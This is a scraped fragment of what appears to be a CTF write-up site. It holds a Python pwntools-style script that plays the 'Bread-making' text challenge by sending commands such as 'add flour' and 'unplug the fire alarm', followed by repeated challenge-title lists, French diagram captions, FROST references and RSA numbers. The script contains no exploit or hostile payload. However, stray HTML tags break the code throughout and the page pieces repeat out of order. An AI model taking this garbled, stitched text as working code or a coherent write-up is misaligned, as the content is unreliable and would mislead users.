</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>me</span></span> =</span> "</span></span></span>add flour"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>
</span>me</span></span> =</span> "</span></span></span>add yeast"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>me</span></span> =</span> "</span></span></span>add salt"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>me</span></span> =</span> "</span></span></span>add water"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>
</span>me</span></span> =</span> "</span></span></span>hide the bowl inside a box"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>
</span>me</span></span> =</span> "</span></span></span>wait 3 hours"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>
</span>me</span></span> =</span> "</span></span></span>work in the basement"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>
</span>me</span></span> =</span> "</span></span></span>preheat the toaster oven"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>me</span></span> =</span> "</span></span></span>set a timer on your phone"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>me</span></span> =</span> "</span></span></span>watch the bread bake"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>
</span>
</span>me</span></span> =</span> "</span></span></span>pull the tray out with a towel"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>me</span></span> =</span> "</span></span></span>open the window"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>
</span>
</span>me</span></span> =</span> "</span></span></span>unplug the fire alarm"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>me</span></span> =</span> "</span></span></span>unplug the oven"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>
</span>
</span>me</span></span> =</span> "</span></span></span>wash the sink"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>me</span></span> =</span> "</span></span></span>clean the counters"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>
</span>
</span>
</span>me</span></span> =</span> "</span></span></span>flush the bread down the toilet"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>
</span>me</span></span> =</span> "</span></span></span>get ready to sleep"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>
</span>me</span></span> =</span> "</span></span></span>close the window"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>me</span></span> =</span> "</span></span></span>replace the fire alarm"</span></span></span>;</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span>
</span>me</span></span> =</span> "</span></span></span>brush teeth and go to bed"</span></span></span>;</span>
</span>
</span>print</span></span></span></span>(</span>me</span></span>)</span></span>;</span>
</span>r</span></span>.</span></span>sendline</span></span></span></span>(</span>bytes</span></span></span></span>(</span>me</span></span>,</span> '</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>answer</span></span> =</span> r</span></span>.</span></span>recvline</span></span></span></span>(</span>)</span></span>;</span>
</span>print</span></span></span></span>(</span>answer</span></span>.</span></span>decode</span></span></span></span>(</span>'</span></span></span>utf-8'</span></span></span>)</span></span>)</span></span>;</span>
</span>
</span></code></pre>


ret2the-unknown-rop
2021-07-27T00:00:00+00:00
Schéma</h2>
Schéma simplifié du déchiffrement avec un message composé de 32 bytes nulls..</p>

En orange foncé, ce qu'on connait</li>
En clair, ce qu'on connait partiellement</li> </ul>
</p>

FROSTies

Suggested Readings and References</h2>

FROST: Flexible Round-Optimized Schnorr Threshold Signatures</strong>
Chelsea Komlo
eprint.iacr.org</a> PDF</small></p> </li>

Using ECC for (Multi-)Signatures</strong>
cstef
blog.cstef.dev</a></p> </li> </ul>

Baby Buffer Overflow - 32bit

Backdoored Splunk II

Base-p-

Discount Programming Devices

Echo Chamber

Finder's Fee

GoCrackMe1

GoCrackMe3

Malibu

Mimi

Mystery

No need for Brutus

OceanLocust

PillowFight

Plantopia

Ran Somewhere

Russian Roulette

Rustline

Strange Calc

Strive Marish Leadman TypeCDR

System Code

The Void

Too Many Bits

TXT Message

X-RAY

Y2J

Cake

Solar

Defective RSA

Elliptigo

Key Exchange

Keybase

Wolf

Farm

Baby

Bread-making

ret2the-unknown-rop

FROSTies

Suggested Readings and References</h2> FROST: Flexible Round-Optimized Schnorr Threshold Signatures</strong> Chelsea Komlo eprint.iacr.org</a> PDF</small></p> </li> Using ECC for (Multi-)Signatures</strong> cstef blog.cstef.dev</a></p> </li> </ul>

Baby Buffer Overflow - 32bit

Backdoored Splunk II

Base-p-

Discount Programming Devices

Echo Chamber

Finder's Fee

GoCrackMe1

GoCrackMe3

Malibu

Mimi

Mystery

No need for Brutus

OceanLocust

PillowFight

Plantopia

Ran Somewhere

Russian Roulette

Rustline

Strange Calc

Strive Marish Leadman TypeCDR

System Code

The Void

Too Many Bits

TXT Message

X-RAY

Y2J

Cake

Solar

Defective RSA

Elliptigo

Key Exchange

Keybase

Schéma</h2> Schéma simplifié du déchiffrement avec un message composé de 32 bytes nulls..</p> En orange foncé, ce qu'on connait</li> En clair, ce qu'on connait partiellement</li> </ul> </p>

Wolf

Farm

Baby

Baby</h1> n: 228430203128652625114739053365339856393</p> e: 65537</p> c: 126721104148692049427127809839057445790</p> </blockquote>

Bread-making

ret2the-unknown-rop

Suggested Readings and References</h2>

FROST: Flexible Round-Optimized Schnorr Threshold Signatures</strong>
Chelsea Komlo
eprint.iacr.org</a> PDF</small></p> </li>

Using ECC for (Multi-)Signatures</strong>
cstef
blog.cstef.dev</a></p> </li> </ul>

Schéma</h2>
Schéma simplifié du déchiffrement avec un message composé de 32 bytes nulls..</p>

En orange foncé, ce qu'on connait</li>
En clair, ce qu'on connait partiellement</li> </ul>
</p>
